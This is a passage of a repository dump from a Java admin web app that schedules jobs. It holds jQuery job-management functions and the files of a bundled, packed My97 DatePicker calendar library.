false;\r\n\tfunction clearQuery() {\r\n\t\t$(\"#qJobKey\").val(\"\");\r\n\t\t$(\"#qDest\").val(\"\");\r\n\t\t$(\"#qIp\").val(\"\");\r\n\t\t$(\"#qStatus\").val(\"\");\r\n\t}\r\n\tfunction clearJob(optType){\r\n\t\t$(\"#\"+optType+\"JobGroup\").val(\"\");\r\n\t\t$(\"#\"+optType+\"JobName\").val(\"\");\r\n\t\t$(\"#\"+optType+\"JobType\").val(\"\");\r\n\t\t$(\"#\"+optType+\"ExecuteType\").val(\"\");\r\n\t\t$(\"#\"+optType+\"JobClassName\").val(\"\");\r\n\t\t$(\"#\"+optType+\"StartTime\").val(\"\");\r\n\t\t$(\"#\"+optType+\"CronExpression\").val(\"\");\r\n\t\t$(\"#\"+optType+\"Ip\").val(\"\");\r\n\t\t$(\"#\"+optType+\"Port\").val(\"\");\r\n\t\t$(\"#\"+optType+\"FixedClientIps\").val(\"\");\r\n\t\t$(\"#\"+optType+\"FixedServerIps\").val(\"\");\r\n\t\t$(\"#\"+optType+\"Status\").val(\"\");\r\n\t}\r\n\r\n\t/*格式校验 开始*/\r\n\tfunction validateJob(optType){\r\n\t\tvar jobGroup = $.trim($(\"#\"+optType+\"JobGroup\").val());\r\n\t\tif(jobGroup == \"\" || 0 == jobGroup.length){\r\n\t\t\talert(\"job 组，请填写\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tvar jobName = $.trim($(\"#\"+optType+\"JobName\").val());\r\n\t\tif(jobName == \"\" || 0 == jobName.length){\r\n\t\t\talert(\"job 名称，请填写\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tvar jobType = $.trim($(\"#\"+optType+\"JobType\").val());\r\n\t\tif(jobType == \"\" || 0 == jobType.length){\r\n\t\t\talert(\"Job Type，请填写\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tvar executeType = $.trim($(\"#\"+optType+\"ExecuteType\").val());\r\n\t\tif(executeType == \"\" || 0 == executeType.length){\r\n\t\t\talert(\"Execute Type，请填写\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tvar jobStrategy = $.trim($(\"#\"+optType+\"JobStrategy\").val());\r\n\t\tif(jobStrategy == \"\" || 0 == jobStrategy.length){\r\n\t\t\talert(\"Job Strategy，请填写\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tvar jobClassName = $.trim($(\"#\"+optType+\"JobClassName\").val());\r\n\t\tif(jobClassName == \"\" || 0== jobClassName.length){\r\n\t\t\talert(\"JobClassName，请填写\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tvar startTime = $.trim($(\"#\"+optType+\"StartTime\").val());\r\n\t\tvar cronExpression = $.trim($(\"#\"+optType+\"CronExpression\").val());\r\n\t\tif((startTime == \"\" || 0 == startTime.length) && (cronExpression == \"\" || (0 == cronExpression.length ))){\r\n\t\t\talert(\"Start Time/Cron Expression不能同时为空，请填写\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tvar ip = $.trim($(\"#\"+optType+\"Ip\").val());\r\n\t\tif(ip == \"\" || 0 == ip.length){\r\n\t\t\talert(\"ip，请填写\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tvar port = $.trim($(\"#\"+optType+\"Port\").val());\r\n\t\tif(port == \"\" || 0 == port.length){\r\n\t\t\talert(\"port，请填写\");\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\treturn true;\r\n\t}\r\n\t/*格式校验 结束*/\r\n\r\n\tfunction toAddJob(){\r\n\t\tclearJob(\"add\");\r\n\t\t$(\"#addDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\tfunction toUpdateJob(_id){\r\n\t\tclearJob(\"update\");\r\n\t\t$(\"#updateDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\tfunction toDeleteJob(_id){\r\n\t\t$(\"#updateId\").val(_id);\r\n\t\t$(\"#deleteJobDiv\").modal({backdrop: 'static', keyboard: false});\r\n\t}\r\n\tfunction toViewJob(_id){\r\n        var url=\"servlet/cloverServletHandle.do?action=handleJobDetail&id=\"+_id+\"&r=\"+Math.random();\r\n        $.get(url, null, function(data){\r\n            if(null==data ||data.length==0){\r\n                alert(\"系统出现异常，请联系管理员\");\r\n                return;\r\n            }\r\n            eval(\"var resultObj = \"+data);\r\n            $(\"#detailJobKey\").val(resultObj.jobKey);\r\n            $(\"#detailJobType\").val(resultObj.jobType);\r\n            $(\"#detailExecuteType\").val(resultObj.executeType);\r\n            $(\"#detailJobStrategy\").val(resultObj.jobStrategy);\r\n            $(\"#detailStartTime\").val(resultObj.startTime);\r\n            $(\"#detailCronExpression\").val(resultObj.cronExpression);\r\n            $(\"#detailNextValidTime\").val(resultObj.nextValidTime);\r\n            $(\"#detailIp\").val(resultObj.ip);\r\n            $(\"#detailFixedClientIps\").val(resultObj.fixedClientIps);\r\n            $(\"#detailFixedServerIps\").val(resultObj.fixedServerIps);\r\n            $(\"#detailExecuteStartTime\").val(resultObj.executeStartTime);\r\n            $(\"#detailExecuteEndTime\").val(resultObj.executeEndTime);\r\n            $(\"#detailTimes\").val(resultObj.times);\r\n            $(\"#detailFailTimes\").val(resultObj.failTimes);\r\n            $(\"#detailStatus\").val(resultObj.status);\r\n            $(\"#detailTs\").val(resultObj.ts);\r\n            $(\"#detailDiv\").modal({backdrop: 'static', keyboard: false});\r\n        });\r\n\t}\r\n\tfunction addJob() {\r\n\t\tvar optType = 'add';\r\n\t\tif(validateJob(optType)){\r\n\t\t\t$.ajax({\r\n\t\t\t\ttype:\"POST\",\r\n\t\t\t\turl:\"servlet/cloverServletHandle.do?action=handleJobAdd&r=\"+Math.random(),\r\n\t\t\t\tdata:{\r\n\t\t\t\t\t\"jobGroup\":$.trim($(\"#\"+optType+\"JobGroup\").val()),\r\n\t\t\t\t\t\"jobName\":$.trim($(\"#\"+optType+\"JobName\").val()),\r\n\t\t\t\t\t\"jobType\":$.trim($(\"#\"+optType+\"JobType\").val()),\r\n\t\t\t\t\t\"jobStrategy\":$.trim($(\"#\"+optType+\"JobStrategy\").val()),\r\n\t\t\t\t\t\"executeType\":$.trim($(\"#\"+optType+\"ExecuteType\").val()),\r\n\t\t\t\t\t\"jobClassName\":$.trim($(\"#\"+optType+\"JobClassName\").val()),\r\n\t\t\t\t\t\"startTime\":$.trim($(\"#\"+optType+\"StartTime\").val()),\r\n\t\t\t\t\t\"cronExpression\":$.trim($(\"#\"+optType+\"CronExpression\").val()),\r\n\t\t\t\t\t\"ip\":$.trim($(\"#\"+optType+\"Ip\").val()),\r\n\t\t\t\t\t\"port\":$.trim($(\"#\"+optType+\"Port\").val()),\r\n\t\t\t\t\t\"fixedClientIps\":$.trim($(\"#\"+optType+\"FixedClientIps\").val()),\r\n\t\t\t\t\t\"fixedServerIps\":$.trim($(\"#\"+optType+\"FixedServerIps\").val())\r\n\t\t\t\t},\r\n\t\t\t\tsuccess:function (data){\r\n\t\t\t\t\tif(1==data){\r\n\t\t\t\t\t\tclearJob('add');\r\n\t\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t}\r\n\tfunction updateJob() {\r\n\t\tvar optType = 'update';\r\n\t\tif(validateJob(optType)){\r\n\t\t\talert(\"ok\");\r\n\t\t\t$.ajax({\r\n\t\t\t\ttype:\"POST\",\r\n\t\t\t\turl:\"servlet/cloverServletHandle.do?action=handleJobAdd&r=\"+Math.random(),\r\n\t\t\t\tdata:{\r\n\t\t\t\t\t\"jobGroup\":$.trim($(\"#\"+optType+\"JobGroup\").val()),\r\n\t\t\t\t\t\"jobName\":$.trim($(\"#\"+optType+\"JobName\").val()),\r\n\t\t\t\t\t\"jobType\":$.trim($(\"#\"+optType+\"JobType\").val()),\r\n\t\t\t\t\t\"executeType\":$.trim($(\"#\"+optType+\"ExecuteType\").val()),\r\n\t\t\t\t\t\"jobClassName\":$.trim($(\"#\"+optType+\"JobClassName\").val()),\r\n\t\t\t\t\t\"startTime\":$.trim($(\"#\"+optType+\"StartTime\").val()),\r\n\t\t\t\t\t\"cronExpression\":$.trim($(\"#\"+optType+\"CronExpression\").val()),\r\n\t\t\t\t\t\"ip\":$.trim($(\"#\"+optType+\"Ip\").val()),\r\n\t\t\t\t\t\"port\":$.trim($(\"#\"+optType+\"Port\").val()),\r\n\t\t\t\t\t\"fixedClientIps\":$.trim($(\"#\"+optType+\"FixedClientIps\").val()),\r\n\t\t\t\t\t\"fixedServerIps\":$.trim($(\"#\"+optType+\"FixedServerIps\").val())\r\n\t\t\t\t},\r\n\t\t\t\tsuccess:function (data){\r\n\t\t\t\t\tif(1==data){\r\n\t\t\t\t\t\tclearJob('add');\r\n\t\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tfunction updateJob() {\r\n\t\tvar optType = 'update';\r\n\t\tif(validateJob(optType)){\r\n\t\t\t$.ajax({\r\n\t\t\t\ttype:\"POST\",\r\n\t\t\t\turl:\"servlet/cloverServletHandle.do?action=handleJobUpdate&r=\"+Math.random(),\r\n\t\t\t\tdata:{\r\n\t\t\t\t\t\"jobGroup\":$.trim($(\"#\"+optType+\"JobGroup\").val()),\r\n\t\t\t\t\t\"jobName\":$.trim($(\"#\"+optType+\"JobName\").val()),\r\n\t\t\t\t\t\"jobType\":$.trim($(\"#\"+optType+\"JobType\").val()),\r\n\t\t\t\t\t\"executeType\":$.trim($(\"#\"+optType+\"ExecuteType\").val()),\r\n\t\t\t\t\t\"jobClassName\":$.trim($(\"#\"+optType+\"JobClassName\").val()),\r\n\t\t\t\t\t\"startTime\":$.trim($(\"#\"+optType+\"StartTime\").val()),\r\n\t\t\t\t\t\"cronExpression\":$.trim($(\"#\"+optType+\"CronExpression\").val()),\r\n\t\t\t\t\t\"ip\":$.trim($(\"#\"+optType+\"Ip\").val()),\r\n\t\t\t\t\t\"port\":$.trim($(\"#\"+optType+\"Port\").val()),\r\n\t\t\t\t\t\"fixedClientIps\":$.trim($(\"#\"+optType+\"FixedClientIps\").val()),\r\n\t\t\t\t\t\"fixedServerIps\":$.trim($(\"#\"+optType+\"FixedServerIps\").val())\r\n\t\t\t\t},\r\n\t\t\t\tsuccess:function (data){\r\n\t\t\t\t\tif(1==data){\r\n\t\t\t\t\t\tclearJob('add');\r\n\t\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t}\r\n\r\n\tfunction deleteJobData() {\r\n\t\t$.ajax({\r\n\t\t\ttype: \"POST\",\r\n\t\t\turl: \"servlet/cloverServletHandle.do?action=handleJobDataDelete&r=\" + Math.random(),\r\n\t\t\tdata: {\r\n\t\t\t\t\"id\": $.trim($(\"#updateId\").val())\r\n\t\t\t},\r\n\t\t\tsuccess: function (data) {\r\n\t\t\t\tif (1 == data) {\r\n\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t} else {\r\n\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t}\r\n\tfunction deleteJob(){\r\n\t\t$.ajax({\r\n\t\t\ttype:\"POST\",\r\n\t\t\turl:\"servlet/cloverServletHandle.do?action=handleJobDelete&r=\"+Math.random(),\r\n\t\t\tdata:{\r\n\t\t\t\t\"id\":$.trim($(\"#updateId\").val())\r\n\t\t\t},\r\n\t\t\tsuccess:function (data){\r\n\t\t\t\tif(1==data){\r\n\t\t\t\t\twindow.location.reload();\r\n\t\t\t\t} else {\r\n\t\t\t\t\talert(\"系统出现异常，请联系管理员\");\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t});\r\n\t}\r\n\r\n</script>"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/DatePicker.htm",
    "content": "<html>\r\n<head>\r\n<meta http-equiv=\"content-type\" content=\"text/xml; charset=utf-8\" />\r\n<title>DatePicker</title>\r\n<script type=\"text/javascript\" src=\"config.js\"></script>\r\n<script>\r\nif(parent==window)\r\n\tlocation.href = 'http://www.360buy.com';\r\nvar $d, $dp, $pdp = parent.$dp, $dt, $tdt, $sdt, $IE=$pdp.ie, $FF = $pdp.ff,$OPERA=$pdp.opera, $ny, $cMark = false;\r\nif ($pdp.eCont) {\r\n\t$dp = {};\r\n\tfor (var p in $pdp) {\r\n\t\t$dp[p] = $pdp[p];\r\n\t}\r\n}\r\nelse\r\n\t$dp = $pdp;\r\n\t\r\n$dp.getLangIndex = function(name){\r\n\tvar arr = langList;\r\n\tfor (var i = 0; i < arr.length; i++) {\r\n\t\tif (arr[i].name == name) {\r\n\t\t\treturn i;\r\n\t\t}\r\n\t}\r\n\treturn -1;\r\n}\r\n\r\n$dp.getLang = function(name){\r\n\tvar index = $dp.getLangIndex(name);\r\n\tif (index == -1) {\r\n\t\tindex = 0;\r\n\t}\r\n\treturn langList[index];\r\n}\r\n \r\n$dp.realLang = $dp.getLang($dp.lang);\r\ndocument.write(\"<script src='lang/\" + $dp.realLang.name + \".js' charset='\" + $dp.realLang.charset + \"'><\\/script>\");\r\n\r\nfor (var i = 0; i < skinList.length; i++) {\r\n    document.write('<link rel=\"stylesheet\" type=\"text/css\" href=\"skin/' + skinList[i].name + '/datepicker.css\" title=\"' + skinList[i].name + '\" charset=\"' + skinList[i].charset + '\" disabled=\"true\"/>');\r\n}\r\n</script>\r\n<script type=\"text/javascript\" src=\"calendar.js\"></script>\r\n</head>\r\n<body leftmargin=\"0\" topmargin=\"0\" onload=\"$c.autoSize()\" tabindex=0>\r\n</body>\r\n</html>\r\n<script>new My97DP();</script>"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/WdatePicker.js",
    "content": "/*\r\n * jdDate by beiqiu\r\n */\r\nvar $dp,WdatePicker;\r\n(function() {\r\n    var _ = {\r\n        $wdate:true,\r\n        $dpPath:\"\",\r\n        $crossFrame:true,\r\n        doubleCalendar:false,\r\n        enableKeyboard:true,\r\n        autoUpdateOnChanged:null,\r\n        whichDayIsfirstWeek:4,\r\n        position:{},\r\n        lang:\"auto\",\r\n        skin:\"ext\",\r\n        dateFmt:\"yyyy-MM-dd\",\r\n        realDateFmt:\"yyyy-MM-dd\",\r\n        realTimeFmt:\"HH:mm:ss\",\r\n        realFullFmt:\"%Date %Time\",\r\n        minDate:\"1900-01-01 00:00:00\",\r\n        maxDate:\"2099-12-31 23:59:59\",\r\n        startDate:\"\",\r\n        alwaysUseStartDate:false,\r\n        yearOffset:1911,\r\n        firstDayOfWeek:0,\r\n        isShowWeek:false,\r\n        highLineWeekDay:true,\r\n        isShowClear:true,\r\n        isShowToday:true,\r\n        isShowOK:true,\r\n        isShowOthers:true,\r\n        readOnly:false,\r\n        errDealMode:0,\r\n        autoPickDate:null,\r\n        qsEnabled:true,\r\n\r\n        specialDates:null,specialDays:null,disabledDates:null,disabledDays:null,opposite:false,onpicking:null,onpicked:null,onclearing:null,oncleared:null,ychanging:null,ychanged:null,Mchanging:null,Mchanged:null,dchanging:null,dchanged:null,Hchanging:null,Hchanged:null,mchanging:null,mchanged:null,schanging:null,schanged:null,eCont:null,vel:null,errMsg:\"\",quickSel:[],has:{}};\r\n    WdatePicker = U;\r\n    var X = window,O = \"document\",J = \"documentElement\",C = \"getElementsByTagName\",V,A,T,I,b;\r\n    switch (navigator.appName) {case\"Microsoft Internet Explorer\":T = true;break;case\"Opera\":b = true;break;default:I = true;break\r\n    }\r\n    A = L();\r\n    if (_.$wdate)M(A + \"skin/WdatePicker.css\");\r\n    V = X;\r\n    if (_.$crossFrame) {\r\n        try {\r\n            while (V.parent[O] != V[O] && V.parent[O][C](\"frameset\").length == 0)V = V.parent\r\n        } catch(P) {\r\n        }\r\n    }\r\n    if (!V.$dp)V.$dp = {ff:I,ie:T,opera:b,el:null,win:X,status:0,defMinDate:_.minDate,defMaxDate:_.maxDate,flatCfgs:[]};\r\n    B();\r\n    if ($dp.status == 0)Z(X, function() {\r\n        U(null, true)\r\n    });\r\n    if (!X[O].docMD) {\r\n        E(X[O], \"onmousedown\", D);\r\n        X[O].docMD = true\r\n    }\r\n    if (!V[O].docMD) {\r\n        E(V[O], \"onmousedown\", D);\r\n        V[O].docMD = true\r\n    }\r\n    E(X, \"onunload\", function() {\r\n        if ($dp.dd)Q($dp.dd, \"none\")\r\n    });\r\n    function B() {\r\n        V.$dp = V.$dp || {};\r\n        obj = {$:function($) {\r\n            return(typeof $ == \"string\") ? X[O].getElementById($) : $\r\n        },$D:function($, _) {\r\n            return this.$DV(this.$($).value, _)\r\n        },$DV:function(_, $) {\r\n            if (_ != \"\") {\r\n                this.dt = $dp.cal.splitDate(_, $dp.cal.dateFmt);\r\n                if ($)for (var B in $)if (this.dt[B] === undefined)this.errMsg = \"invalid property:\" + B; else {\r\n                    this.dt[B] += $[B];\r\n                    if (B == \"M\") {\r\n                        var C = $[\"M\"] > 0 ? 1 : 0,A = new Date(this.dt[\"y\"], this.dt[\"M\"], 0).getDate();\r\n                        this.dt[\"d\"] = Math.min(A + C, this.dt[\"d\"])\r\n                    }\r\n                }\r\n                if (this.dt.refresh())return this.dt\r\n            }\r\n            return\"\"\r\n        },show:function() {\r\n            Q(this.dd, \"block\")\r\n        },hide:function() {\r\n            Q(this.dd, \"none\")\r\n        },attachEvent:E};\r\n        for (var $ in obj)V.$dp[$] = obj[$];\r\n        $dp = V.$dp\r\n    }\r\n\r\n    function E(A, $, _) {\r\n        if (T)A.attachEvent($, _); else {\r\n            var B = $.replace(/on/, \"\");\r\n            _._ieEmuEventHandler = function($) {\r\n                return _($)\r\n            };\r\n            A.addEventListener(B, _._ieEmuEventHandler, false)\r\n        }\r\n    }\r\n\r\n    function L() {\r\n        var _,A,$ = X[O][C](\"script\");\r\n        for (var B = 0; B < $.length; B++) {\r\n            _ = $[B].src.substring(0, $[B].src.toLowerCase().indexOf(\"wdatepicker.js\"));\r\n            A = _.lastIndexOf(\"/\");\r\n            if (A > 0)_ = _.substring(0, A + 1);\r\n            if (_)break\r\n        }\r\n        return _\r\n    }\r\n\r\n    function F(F) {\r\n        var E,C;\r\n        if (F.substring(0, 1) != \"/\" && F.indexOf(\"://\") == -1) {\r\n            E = V.location.href;\r\n            C = location.href;\r\n            if (E.indexOf(\"?\") > -1)E = E.substring(0, E.indexOf(\"?\"));\r\n            if (C.indexOf(\"?\") > -1)C = C.substring(0, C.indexOf(\"?\"));\r\n            var G,I,$ = \"\",D = \"\",A = \"\",J,H,B = \"\";\r\n            for (J = 0; J < Math.max(E.length, C.length); J++) {\r\n                G = E.charAt(J).toLowerCase();\r\n                I = C.charAt(J).toLowerCase();\r\n                if (G == I) {\r\n                    if (G == \"/\")H = J\r\n                } else {\r\n                    $ = E.substring(H + 1, E.length);\r\n                    $ = $.substring(0, $.lastIndexOf(\"/\"));\r\n                    D = C.substring(H + 1, C.length);\r\n                    D = D.substring(0, D.lastIndexOf(\"/\"));\r\n                    break\r\n                }\r\n            }\r\n            if ($ != \"\")for (J = 0; J < $.split(\"/\").length; J++)B += \"../\";\r\n            if (D != \"\")B += D + \"/\";\r\n            F = E.substring(0, E.lastIndexOf(\"/\") + 1) + B + F\r\n        }\r\n        _.$dpPath = F\r\n    }\r\n\r\n    function M(A, $, B) {\r\n        var D = X[O][C](\"HEAD\").item(0),_ = X[O].createElement(\"link\");\r\n        if (D) {\r\n            _.href = A;\r\n            _.rel = \"stylesheet\";\r\n            _.type = \"text/css\";\r\n            if ($)_.title = $;\r\n            if (B)_.charset = B;\r\n            D.appendChild(_)\r\n        }\r\n    }\r\n\r\n    function Z($, _) {\r\n        E($, \"onload\", _)\r\n    }\r\n\r\n    function G($) {\r\n        $ = $ || V;\r\n        var A = 0,_ = 0;\r\n        while ($ != V) {\r\n            var D = $.parent[O][C](\"iframe\");\r\n            for (var F = 0; F < D.length; F++) {\r\n                try {\r\n                    if (D[F].contentWindow == $) {\r\n                        var E = W(D[F]);\r\n                        A += E.left;\r\n                        _ += E.top;\r\n                        break\r\n                    }\r\n                } catch(B) {\r\n                }\r\n            }\r\n            $ = $.parent\r\n        }\r\n        return{\"leftM\":A,\"topM\":_}\r\n    }\r\n\r\n    function W(F) {\r\n        if (F.getBoundingClientRect)return F.getBoundingClientRect(); else {\r\n            var A = {ROOT_TAG:/^body|html$/i,OP_SCROLL:/^(?:inline|table-row)$/i},E = false,H = null,_ = F.offsetTop,G = F.offsetLeft,D = F.offsetWidth,B = F.offsetHeight,C = F.offsetParent;\r\n            if (C != F)while (C) {\r\n                G += C.offsetLeft;\r\n                _ += C.offsetTop;\r\n                if (S(C, \"position\").toLowerCase() == \"fixed\")E = true; else if (C.tagName.toLowerCase() == \"body\")H = C.ownerDocument.defaultView;\r\n                C = C.offsetParent\r\n            }\r\n            C = F.parentNode;\r\n            while (C.tagName && !A.ROOT_TAG.test(C.tagName)) {\r\n                if (C.scrollTop || C.scrollLeft)if (!A.OP_SCROLL.test(Q(C)))if (!b || C.style.overflow !== \"visible\") {\r\n                    G -= C.scrollLeft;\r\n                    _ -= C.scrollTop\r\n                }\r\n                C = C.parentNode\r\n            }\r\n            if (!E) {\r\n                var $ = a(H);\r\n                G -= $.left;\r\n                _ -= $.top\r\n            }\r\n            D += G;\r\n            B += _;\r\n            return{\"left\":G,\"top\":_,\"right\":D,\"bottom\":B}\r\n        }\r\n    }\r\n\r\n    function N($) {\r\n        $ = $ || V;\r\n        var B = $[O],A = ($.innerWidth) ? $.innerWidth : (B[J] && B[J].clientWidth) ? B[J].clientWidth : B.body.offsetWidth,_ = ($.innerHeight) ? $.innerHeight : (B[J] && B[J].clientHeight) ? B[J].clientHeight : B.body.offsetHeight;\r\n        return{\"width\":A,\"height\":_}\r\n    }\r\n\r\n    function a($) {\r\n        $ = $ || V;\r\n        var B = $[O],A = B[J],_ = B.body;\r\n        B = (A && A.scrollTop != null && (A.scrollTop > _.scrollTop || A.scrollLeft > _.scrollLeft)) ? A : _;\r\n        return{\"top\":B.scrollTop,\"left\":B.scrollLeft}\r\n    }\r\n\r\n    function D($) {\r\n        src = $ ? ($.srcElement || $.target) : null;\r\n        if ($dp && $dp.cal && !$dp.eCont && $dp.dd && src != $dp.el && $dp.dd.style.display == \"block\")$dp.cal.close()\r\n    }\r\n\r\n    function Y() {\r\n        $dp.status = 2;\r\n        H()\r\n    }\r\n\r\n    function H() {\r\n        if ($dp.flatCfgs.length > 0) {\r\n            var $ = $dp.flatCfgs.shift();\r\n            $.el = {innerHTML:\"\"};\r\n            $.autoPickDate = true;\r\n            $.qsEnabled = false;\r\n            K($)\r\n        }\r\n    }\r\n\r\n    var R,$;\r\n\r\n    function U(J, C) {\r\n        $dp.win = X;\r\n        B();\r\n        J = J || {};\r\n        if (C) {\r\n            if (!G()) {\r\n                $ = $ || setInterval(function() {\r\n                    if (V[O].readyState == \"complete\")clearInterval($);\r\n                    U(null, true)\r\n                }, 50);\r\n                return\r\n            }\r\n            if ($dp.status == 0) {\r\n                $dp.status = 1;\r\n                K({el:{innerHTML:\"\"}}, true)\r\n            } else return\r\n        } else if (J.eCont) {\r\n            J.eCont = $dp.$(J.eCont);\r\n            $dp.flatCfgs.push(J);\r\n            if ($dp.status == 2)H()\r\n        } else {\r\n            if ($dp.status == 0) {\r\n                U(null, true);\r\n                return\r\n            }\r\n            if ($dp.status != 2)return;\r\n            var F = D();\r\n            if (F) {\r\n                $dp.srcEl = F.srcElement || F.target;\r\n                F.cancelBubble = true\r\n            }\r\n            J.el = $dp.$(J.el || $dp.srcEl);\r\n            if (!J.el || J.el[\"My97Mark\"] === true || J.el.disabled || (J.el == $dp.el && Q($dp.dd) != \"none\" && $dp.dd.style.left != \"-1970px\")) {\r\n                J.el[\"My97Mark\"] = false;\r\n                return\r\n            }\r\n            K(J);\r\n            if (J.el.nodeType == 1 && J.el[\"My97Mark\"] === undefined) {\r\n                $dp.el[\"My97Mark\"] = false;\r\n                var _,A;\r\n                if (F.type == \"focus\") {\r\n                    _ = \"onclick\";\r\n                    A = \"onfocus\"\r\n                } else {\r\n                    _ = \"onfocus\";\r\n                    A = \"onclick\"\r\n                }\r\n                E(J.el, _, J.el[A])\r\n            }\r\n        }\r\n        function G() {\r\n            if (T && V != X && V[O].readyState != \"complete\")return false;\r\n            return true\r\n        }\r\n\r\n        function D() {\r\n            if (I) {\r\n                func = D.caller;\r\n                while (func != null) {\r\n                    var $ = func.arguments[0];\r\n                    if ($ && ($ + \"\").indexOf(\"Event\") >= 0)return $;\r\n                    func = func.caller\r\n                }\r\n                return null\r\n            }\r\n            return event\r\n        }\r\n    }\r\n\r\n    function S(_, $) {\r\n        return _.currentStyle ? _.currentStyle[$] : document.defaultView.getComputedStyle(_, false)[$]\r\n    }\r\n\r\n    function Q(_, $) {\r\n        if (_)if ($ != null)_.style.display = $; else return S(_, \"display\")\r\n    }\r\n\r\n    function K(H, $) {\r\n        for (var D in _)if (D.substring(0, 1) != \"$\")$dp[D] = _[D];\r\n        for (D in H)if ($dp[D] !== undefined)$dp[D] = H[D];\r\n        var E = $dp.el ? $dp.el.nodeName : \"INPUT\";\r\n        if ($ || $dp.eCont || new RegExp(/input|textarea|div|span|p|a/ig).test(E))$dp.elProp = E == \"INPUT\" ? \"value\" : \"innerHTML\"; else return;\r\n        if ($dp.lang == \"auto\")$dp.lang = T ? navigator.browserLanguage.toLowerCase() : navigator.language.toLowerCase();\r\n        if (!$dp.dd || $dp.eCont || ($dp.lang && $dp.realLang && $dp.realLang.name != $dp.lang && $dp.getLangIndex && $dp.getLangIndex($dp.lang) >= 0)) {\r\n            if ($dp.dd && !$dp.eCont)V[O].body.removeChild($dp.dd);\r\n            if (_.$dpPath == \"\")F(A);\r\n            var B = \"<iframe style=\\\"width:1px;height:1px\\\" src=\\\"\" + _.$dpPath + \"DatePicker.htm\\\" frameborder=\\\"0\\\" border=\\\"0\\\" scrolling=\\\"no\\\"></iframe>\";\r\n            if ($dp.eCont) {\r\n                $dp.eCont.innerHTML = B;\r\n                Z($dp.eCont.childNodes[0], Y)\r\n            } else {\r\n                $dp.dd = V[O].createElement(\"DIV\");\r\n                $dp.dd.style.cssText = \"position:absolute;z-index:19700\";\r\n                $dp.dd.innerHTML = B;\r\n                V[O].body.appendChild($dp.dd);\r\n                Z($dp.dd.childNodes[0], Y);\r\n                if ($)$dp.dd.style.left = $dp.dd.style.top = \"-1970px\"; else {\r\n                    $dp.show();\r\n                    C()\r\n                }\r\n            }\r\n        } else if ($dp.cal) {\r\n            $dp.show();\r\n            $dp.cal.init();\r\n            if (!$dp.eCont)C()\r\n        }\r\n        function C() {\r\n            var F = $dp.position.left,B = $dp.position.top,C = $dp.el;\r\n            if (C != $dp.srcEl && (Q(C) == \"none\" || C.type == \"hidden\"))C = $dp.srcEl;\r\n            var H = W(C),$ = G(X),D = N(V),A = a(V),E = $dp.dd.offsetHeight,_ = $dp.dd.offsetWidth;\r\n            if (isNaN(B)) {\r\n                if (B == \"above\" || (B != \"under\" && (($.topM + H.bottom + E > D.height) && ($.topM + H.top - E > 0))))B = A.top + $.topM + H.top - E - 3; else B = A.top + $.topM + Math.min(H.bottom, D.height - E);\r\n                B += T ? -1 : 1\r\n            } else B += A.top + $.topM;\r\n            if (isNaN(F))F = A.left + Math.min($.leftM + H.left, D.width - _ - 5) - (T ? 2 : 0); else F += A.left + $.leftM;\r\n            $dp.dd.style.top = B + \"px\";\r\n            $dp.dd.style.left = F + \"px\"\r\n        }\r\n    }\r\n})()"
  },
  {
    "path": "clover/clover-admin/src/main/webapp/js/DatePicker/calendar.js",
    "content": "/*\r\n * My97 DatePicker 4.7 Beta5\r\n * License: http://www.my97.net/dp/license.asp\r\n */\r\neval(function(B,D,A,G,E,F){function C(A){return A<62?String.fromCharCode(A+=A<26?65:A<52?71:-4):A<63?'_':A<64?'$':C(A>>6)+C(A&63)}while(A>0)E[C(G--)]=D[--A];return B.replace(/[\\w\\$]+/g,function(A){return E[A]==F[A]?A:E[A]})}('l f;e(FP){FD.Co.__defineSetter__(\"Fd\",9(c){e(!c){q.Bq();}4 c;});FD.Co.__defineGetter__(\"FL\",9(){l c=q.GG;DH(c.FZ!=V){c=c.parentNode;}4 c;});HTMLElement.Co.C8=9(b,A){l c=b.6(/Ez/,\"\");A.El=9(c){GA.BZ=c;4 A();};q.addEventListener(c,A.El,2);};}9 EX(){f=q;q.Cj=[];d=Bs.createElement(\"m\");d._=\"EN\";d.BW=\\'<m BM=dpTitle><m x=\"C3 NavImgll\"><L DJ=\"###\"></L></m><m x=\"C3 NavImgl\"><L DJ=\"###\"></L></m><m y=\"CF:Bz\"><m x=\"CX MMenu\"></m><BJ x=Da></m><m y=\"CF:Bz\"><m x=\"CX YMenu\"></m><BJ x=Da></m><m x=\"C3 NavImgrr\"><L DJ=\"###\"></L></m><m x=\"C3 NavImgr\"><L DJ=\"###\"></L></m><m y=\"CF:EZ\"></m></m><m y=\"position:absolute;overflow:hidden\"></m><m></m><m BM=dpTime><m x=\"CX hhMenu\"></m><m x=\"CX mmMenu\"></m><m x=\"CX ssMenu\"></m><BC B_=U B5=U B3=U><i><h 